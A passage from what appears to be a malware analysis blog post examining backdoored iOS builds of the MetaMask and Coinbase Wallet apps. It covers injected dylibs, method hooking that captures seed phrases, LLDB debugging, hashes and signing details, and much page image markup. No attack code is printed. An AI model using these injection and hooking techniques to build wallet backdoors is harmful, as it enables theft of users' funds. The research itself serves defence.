stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">taken from: Rafael de Oleza&#8202;&#8212;&#8202;<a href="https://www.youtube.com/watch?v=tX2lg59Wm7g">Building JavaScript bundles for React Native</a></figcaption></figure></div><p><strong>xlmnmonic</strong> stores the seed phrase passed to the function <strong>_initFromMnemonic </strong>we can find it in the main.jsbundle:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Qlky!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91034e36-5a14-466a-ac9c-52b21584af9e_1000x125.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Qlky!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91034e36-5a14-466a-ac9c-52b21584af9e_1000x125.png 424w, https://substackcdn.com/image/fetch/$s_!Qlky!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91034e36-5a14-466a-ac9c-52b21584af9e_1000x125.png 848w, https://substackcdn.com/image/fetch/$s_!Qlky!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91034e36-5a14-466a-ac9c-52b21584af9e_1000x125.png 1272w, https://substackcdn.com/image/fetch/$s_!Qlky!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91034e36-5a14-466a-ac9c-52b21584af9e_1000x125.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Qlky!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91034e36-5a14-466a-ac9c-52b21584af9e_1000x125.png" width="1000" height="125" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/91034e36-5a14-466a-ac9c-52b21584af9e_1000x125.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:125,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Qlky!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91034e36-5a14-466a-ac9c-52b21584af9e_1000x125.png 424w, https://substackcdn.com/image/fetch/$s_!Qlky!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91034e36-5a14-466a-ac9c-52b21584af9e_1000x125.png 848w, https://substackcdn.com/image/fetch/$s_!Qlky!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91034e36-5a14-466a-ac9c-52b21584af9e_1000x125.png 1272w, https://substackcdn.com/image/fetch/$s_!Qlky!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91034e36-5a14-466a-ac9c-52b21584af9e_1000x125.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption"><strong>xlmnmonic storing the seed phrase</strong></figcaption></figure></div><p><strong>Validating the backdoor code execution at runtime:</strong></p><p>As with any backdoor code found, it is important to validate it at runtime. I installed the backdoored metamask app on a real iOS device, ran debugserver on iOS and waited with LLDB on my laptop to break right after the app is launched. I set a conditional breakpoint to break into anything &#8220;logos&#8221; :</p><pre><code>break set -r &#8220;logos&#8221; -s libmetaDylib.dylib</code></pre><p>then got a first hit at <strong>_logosLocalInit():</strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ASus!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F343e5cdb-a469-4047-a461-dd8c7bfec8cc_1000x296.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ASus!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F343e5cdb-a469-4047-a461-dd8c7bfec8cc_1000x296.png 424w, https://substackcdn.com/image/fetch/$s_!ASus!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F343e5cdb-a469-4047-a461-dd8c7bfec8cc_1000x296.png 848w, https://substackcdn.com/image/fetch/$s_!ASus!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F343e5cdb-a469-4047-a461-dd8c7bfec8cc_1000x296.png 1272w, https://substackcdn.com/image/fetch/$s_!ASus!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F343e5cdb-a469-4047-a461-dd8c7bfec8cc_1000x296.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ASus!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F343e5cdb-a469-4047-a461-dd8c7bfec8cc_1000x296.png" width="1000" height="296" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/343e5cdb-a469-4047-a461-dd8c7bfec8cc_1000x296.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:296,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ASus!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F343e5cdb-a469-4047-a461-dd8c7bfec8cc_1000x296.png 424w, https://substackcdn.com/image/fetch/$s_!ASus!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F343e5cdb-a469-4047-a461-dd8c7bfec8cc_1000x296.png 848w, https://substackcdn.com/image/fetch/$s_!ASus!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F343e5cdb-a469-4047-a461-dd8c7bfec8cc_1000x296.png 1272w, https://substackcdn.com/image/fetch/$s_!ASus!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F343e5cdb-a469-4047-a461-dd8c7bfec8cc_1000x296.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">debuging the backdoor code</figcaption></figure></div><p>After that I stopped at the function I am interested in <strong>_logos_meta_method$_ungrouped$NSData$dataWithContentsOfFile$options$error$ (</strong>the one added by the backdoor author using <strong><a href="http://www.cydiasubstrate.com/api/c/MSHookMessageEx/">MSHookMessageEx</a>())</strong></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bse7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f149f2d-0d55-40d1-9ffa-f6044bf2e543_1000x170.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bse7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f149f2d-0d55-40d1-9ffa-f6044bf2e543_1000x170.png 424w, https://substackcdn.com/image/fetch/$s_!bse7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f149f2d-0d55-40d1-9ffa-f6044bf2e543_1000x170.png 848w, https://substackcdn.com/image/fetch/$s_!bse7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f149f2d-0d55-40d1-9ffa-f6044bf2e543_1000x170.png 1272w, https://substackcdn.com/image/fetch/$s_!bse7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f149f2d-0d55-40d1-9ffa-f6044bf2e543_1000x170.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bse7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f149f2d-0d55-40d1-9ffa-f6044bf2e543_1000x170.png" width="1000" height="170" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6f149f2d-0d55-40d1-9ffa-f6044bf2e543_1000x170.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:170,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!bse7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f149f2d-0d55-40d1-9ffa-f6044bf2e543_1000x170.png 424w, https://substackcdn.com/image/fetch/$s_!bse7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f149f2d-0d55-40d1-9ffa-f6044bf2e543_1000x170.png 848w, https://substackcdn.com/image/fetch/$s_!bse7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f149f2d-0d55-40d1-9ffa-f6044bf2e543_1000x170.png 1272w, https://substackcdn.com/image/fetch/$s_!bse7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f149f2d-0d55-40d1-9ffa-f6044bf2e543_1000x170.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>From there all I have to do is to find where the obj_msgSend() that will call the weird class name <strong>FKKKSDFDFFADS::ddsdf, </strong>and the backdoor code is finally about to be executed via obj_msgSend ()as we can see in the screenshot below:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Ww_w!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33e4359b-15f6-40b1-868e-185a2f591f5d_1000x271.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Ww_w!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33e4359b-15f6-40b1-868e-185a2f591f5d_1000x271.png 424w, https://substackcdn.com/image/fetch/$s_!Ww_w!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33e4359b-15f6-40b1-868e-185a2f591f5d_1000x271.png 848w, https://substackcdn.com/image/fetch/$s_!Ww_w!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33e4359b-15f6-40b1-868e-185a2f591f5d_1000x271.png 1272w, https://substackcdn.com/image/fetch/$s_!Ww_w!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33e4359b-15f6-40b1-868e-185a2f591f5d_1000x271.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Ww_w!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33e4359b-15f6-40b1-868e-185a2f591f5d_1000x271.png" width="1000" height="271" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/33e4359b-15f6-40b1-868e-185a2f591f5d_1000x271.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:271,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Ww_w!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33e4359b-15f6-40b1-868e-185a2f591f5d_1000x271.png 424w, https://substackcdn.com/image/fetch/$s_!Ww_w!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33e4359b-15f6-40b1-868e-185a2f591f5d_1000x271.png 848w, https://substackcdn.com/image/fetch/$s_!Ww_w!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33e4359b-15f6-40b1-868e-185a2f591f5d_1000x271.png 1272w, https://substackcdn.com/image/fetch/$s_!Ww_w!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33e4359b-15f6-40b1-868e-185a2f591f5d_1000x271.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>and that&#8217;s a wrap we confirmed statically, and dynamically the backdoor code and its execution.</p><h4>Other variants of the MetaMask iOS app backdoor:</h4><p>by analyzing multiple backdoored iOS MetaMask wallets I found other variants of the backdoor code, with this one having source code comments in Chinese:</p><blockquote><p><strong>Note: </strong>this same backdoor React Native Bundle variant was re-used on the imToken Wallet iOS app as well.</p></blockquote><p><a href="https://gist.github.com/tahaconfiant/358504126e428a63884ea770aea00602#file-seaflower-js">https://gist.github.com/tahaconfiant/358504126e428a63884ea770aea00602#file-seaflower-js</a></p><h4><strong>Coinbase Wallet iOS app</strong></h4><p>SHA-256 of the .IPA analyzed: 2334e9fc13b6fe12a6dd92f8bd65467cf700f43fdb713a209a74174fdaabd2e2</p><p>A single injected dylib <strong>libWalletDylib.dylib</strong> was used, below output of <strong>otool -L:</strong></p><pre><code>@executable_path/Frameworks/libWalletDylib.dylib (compatibility version 0.0.0, current version 0.0.0)</code></pre><p>This .dylib is signed with Developper ID certificate : <strong>iPhone Distribution: Universitas Muhammadiyah Malang</strong> <strong>(9MJG6A8RD7)</strong> and Team-ID <strong>9MJG6A8RD7</strong></p><p>Dumping the strings, we found the same author macOS username <strong>&#8220;lanyu&#8221;</strong>, as in the metamask Wallet iOS app, confirming we are dealing with the same author, and also confirmed the usage of the same Monkeydev xcode templates:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4dRv!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3533b60c-2e82-4fab-ac3c-41c33f1b40c4_1000x188.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4dRv!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3533b60c-2e82-4fab-ac3c-41c33f1b40c4_1000x188.png 424w, https://substackcdn.com/image/fetch/$s_!4dRv!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3533b60c-2e82-4fab-ac3c-41c33f1b40c4_1000x188.png 848w, https://substackcdn.com/image/fetch/$s_!4dRv!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3533b60c-2e82-4fab-ac3c-41c33f1b40c4_1000x188.png 1272w, https://substackcdn.com/image/fetch/$s_!4dRv!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3533b60c-2e82-4fab-ac3c-41c33f1b40c4_1000x188.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4dRv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3533b60c-2e82-4fab-ac3c-41c33f1b40c4_1000x188.png" width="1000" height="188" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3533b60c-2e82-4fab-ac3c-41c33f1b40c4_1000x188.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:188,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4dRv!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3533b60c-2e82-4fab-ac3c-41c33f1b40c4_1000x188.png 424w, https://substackcdn.com/image/fetch/$s_!4dRv!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3533b60c-2e82-4fab-ac3c-41c33f1b40c4_1000x188.png 848w, https://substackcdn.com/image/fetch/$s_!4dRv!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3533b60c-2e82-4fab-ac3c-41c33f1b40c4_1000x188.png 1272w, https://substackcdn.com/image/fetch/$s_!4dRv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3533b60c-2e82-4fab-ac3c-41c33f1b40c4_1000x188.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">/Users/lanyu</figcaption></figure></div><p>The backdoor code wasn&#8217;t really hidden like in the MetaMask wallet iOS app, as we could see more methods implemented directly in the injected .dylib:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!kMKH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7326b2d8-f896-4adc-9853-a5b67a2cd1e2_1000x677.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!kMKH!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7326b2d8-f896-4adc-9853-a5b67a2cd1e2_1000x677.png 424w, https://substackcdn.com/image/fetch/$s_!kMKH!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7326b2d8-f896-4adc-9853-a5b67a2cd1e2_1000x677.png 848w, https://substackcdn.com/image/fetch/$s_!kMKH!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7326b2d8-f896-4adc-9853-a5b67a2cd1e2_1000x677.png 1272w, https://substackcdn.com/image/fetch/$s_!kMKH!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7326b2d8-f896-4adc-9853-a5b67a2cd1e2_1000x677.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!kMKH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7326b2d8-f896-4adc-9853-a5b67a2cd1e2_1000x677.png" width="1000" height="677" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7326b2d8-f896-4adc-9853-a5b67a2cd1e2_1000x677.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:677,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!kMKH!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7326b2d8-f896-4adc-9853-a5b67a2cd1e2_1000x677.png 424w, https://substackcdn.com/image/fetch/$s_!kMKH!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7326b2d8-f896-4adc-9853-a5b67a2cd1e2_1000x677.png 848w, https://substackcdn.com/image/fetch/$s_!kMKH!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7326b2d8-f896-4adc-9853-a5b67a2cd1e2_1000x677.png 1272w, https://substackcdn.com/image/fetch/$s_!kMKH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7326b2d8-f896-4adc-9853-a5b67a2cd1e2_1000x677.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" 